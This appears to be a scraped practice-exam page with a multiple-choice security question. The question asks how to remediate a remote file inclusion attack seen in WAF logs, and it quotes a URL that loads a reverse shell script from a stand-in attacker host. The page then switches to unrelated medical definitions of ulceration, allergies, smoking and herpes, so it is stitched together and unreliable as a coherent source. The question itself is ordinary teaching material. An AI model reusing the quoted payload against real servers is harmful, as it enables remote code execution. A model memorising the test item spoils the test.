While Monitoring WAF Logs, a Security Analyst Discovers a Successful

question 119

Multiple Choice

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php Which of the following remediation steps should be taken to prevent this type of attack?

• A) Implement a blacklist.
• B) Block URL redirections.
• C) Double URL encode the parameters.
• D) Stop external calls from the application.

---

Definitions:

Ulceration

The development of open sores or lesions, often on the skin or lining of the digestive tract, resulting from breakdown of tissue.

Chronic Allergies

Long-term allergic reactions characterized by symptoms such as sneezing, itching, and nasal congestion, often requiring ongoing management.

Cigarette Smoking

The act of inhaling and exhaling the smoke of burning tobacco, which is associated with a wide range of health risks including cancer and cardiovascular disease.

Herpes Simplex Virus I

A virus causing contagious sores, most often around the mouth or on the genitals, known as oral herpes.